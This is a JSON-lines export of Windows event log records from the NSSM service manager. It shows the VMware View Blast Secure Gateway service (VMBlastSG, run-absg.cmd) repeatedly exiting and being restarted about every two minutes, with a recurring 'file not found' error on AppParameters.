{"@timestamp":1646710507612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159138}}
{"@timestamp":1646710507612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159139}}
{"@timestamp":1646710507612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159140}}
{"@timestamp":1646710507613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159141}}
{"@timestamp":1646710636130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159142}}
{"@timestamp":1646710636131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159143}}
{"@timestamp":1646710636131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156532","0"]}}},"module":"Application","provider":"nssm","sequence":159144}}
{"@timestamp":1646710636132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156532","156532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159145}}
{"@timestamp":1646710636148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159146}}
{"@timestamp":1646710636149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159147}}
{"@timestamp":1646710636149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159148}}
{"@timestamp":1646710636150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159149}}
{"@timestamp":1646710764685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159150}}
{"@timestamp":1646710764686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159151}}
{"@timestamp":1646710764687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152936","0"]}}},"module":"Application","provider":"nssm","sequence":159152}}
{"@timestamp":1646710764687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152936","152936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159153}}
{"@timestamp":1646710764707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154988","0"]}}},"module":"Application","provider":"nssm","sequence":159154}}
{"@timestamp":1646710764707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154988","152936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159155}}
{"@timestamp":1646710764723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159156}}
{"@timestamp":1646710764724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159157}}
{"@timestamp":1646710764724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159158}}
{"@timestamp":1646710764725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159159}}
{"@timestamp":1646710893261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159160}}
{"@timestamp":1646710893262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159161}}
{"@timestamp":1646710893263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155248","0"]}}},"module":"Application","provider":"nssm","sequence":159162}}
{"@timestamp":1646710893264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155248","155248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159163}}
{"@timestamp":1646710893282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159164}}
{"@timestamp":1646710893282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159165}}
{"@timestamp":1646710893283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159166}}
{"@timestamp":1646710893284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159167}}
{"@timestamp":1646711021881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159168}}
{"@timestamp":1646711021882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159169}}
{"@timestamp":1646711021882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156048","0"]}}},"module":"Application","provider":"nssm","sequence":159170}}
{"@timestamp":1646711021882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156048","156048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159171}}
{"@timestamp":1646711021899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155696","0"]}}},"module":"Application","provider":"nssm","sequence":159172}}
{"@timestamp":1646711021899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155696","156048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159173}}
{"@timestamp":1646711021914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159174}}
{"@timestamp":1646711021915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159175}}
{"@timestamp":1646711021915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159176}}
{"@timestamp":1646711021916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159177}}
{"@timestamp":1646711150423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159178}}
{"@timestamp":1646711150423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159179}}
{"@timestamp":1646711150424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153088","0"]}}},"module":"Application","provider":"nssm","sequence":159180}}
{"@timestamp":1646711150425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153088","153088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159181}}
{"@timestamp":1646711150443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159182}}
{"@timestamp":1646711150443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159183}}
{"@timestamp":1646711150444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159184}}
{"@timestamp":1646711150445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159185}}
{"@timestamp":1646711279030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159186}}
{"@timestamp":1646711279030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159187}}
{"@timestamp":1646711279032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154816","0"]}}},"module":"Application","provider":"nssm","sequence":159188}}
{"@timestamp":1646711279034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154816","154816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159189}}
{"@timestamp":1646711279054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159190}}
{"@timestamp":1646711279054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159191}}
{"@timestamp":1646711279055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159192}}
{"@timestamp":1646711279056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159193}}
{"@timestamp":1646711407543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159194}}
{"@timestamp":1646711407544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159195}}
{"@timestamp":1646711407544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155524","0"]}}},"module":"Application","provider":"nssm","sequence":159196}}
{"@timestamp":1646711407545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155524","155524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159197}}
{"@timestamp":1646711407562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159198}}
{"@timestamp":1646711407563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159199}}
{"@timestamp":1646711407563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159200}}
{"@timestamp":1646711407564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159201}}
{"@timestamp":1646711536061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159202}}
{"@timestamp":1646711536062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159203}}
{"@timestamp":1646711536063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156136","0"]}}},"module":"Application","provider":"nssm","sequence":159204}}
{"@timestamp":1646711536064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156136","156136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159205}}
{"@timestamp":1646711536082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159206}}
{"@timestamp":1646711536083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159207}}
{"@timestamp":1646711536083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159208}}
{"@timestamp":1646711536084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159209}}
{"@timestamp":1646711664572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159210}}
{"@timestamp":1646711664573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159211}}
{"@timestamp":1646711664573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156604","0"]}}},"module":"Application","provider":"nssm","sequence":159212}}
{"@timestamp":1646711664574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156604","156604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159213}}
{"@timestamp":1646711664591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159214}}
{"@timestamp":1646711664591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159215}}
{"@timestamp":1646711664592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159216}}
{"@timestamp":1646711664593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159217}}
{"@timestamp":1646711793144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159218}}
{"@timestamp":1646711793145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159219}}
{"@timestamp":1646711793146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156452","0"]}}},"module":"Application","provider":"nssm","sequence":159220}}
{"@timestamp":1646711793146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156452","156452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159221}}
{"@timestamp":1646711793162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159222}}
{"@timestamp":1646711793163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159223}}
{"@timestamp":1646711793163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159224}}
{"@timestamp":1646711793164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159225}}
{"@timestamp":1646711921647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159226}}
{"@timestamp":1646711921649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159227}}
{"@timestamp":1646711921649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153984","0"]}}},"module":"Application","provider":"nssm","sequence":159228}}
{"@timestamp":1646711921650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153984","153984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159229}}
{"@timestamp":1646711921667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159230}}
{"@timestamp":1646711921667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159231}}
{"@timestamp":1646711921668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159232}}
{"@timestamp":1646711921669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159233}}
{"@timestamp":1646712050203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159234}}
{"@timestamp":1646712050204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159235}}
{"@timestamp":1646712050205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155048","0"]}}},"module":"Application","provider":"nssm","sequence":159236}}
{"@timestamp":1646712050206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155048","155048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159237}}
{"@timestamp":1646712050221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159238}}
{"@timestamp":1646712050222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159239}}
{"@timestamp":1646712050222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159240}}
{"@timestamp":1646712050223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159241}}
{"@timestamp":1646712178719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159242}}
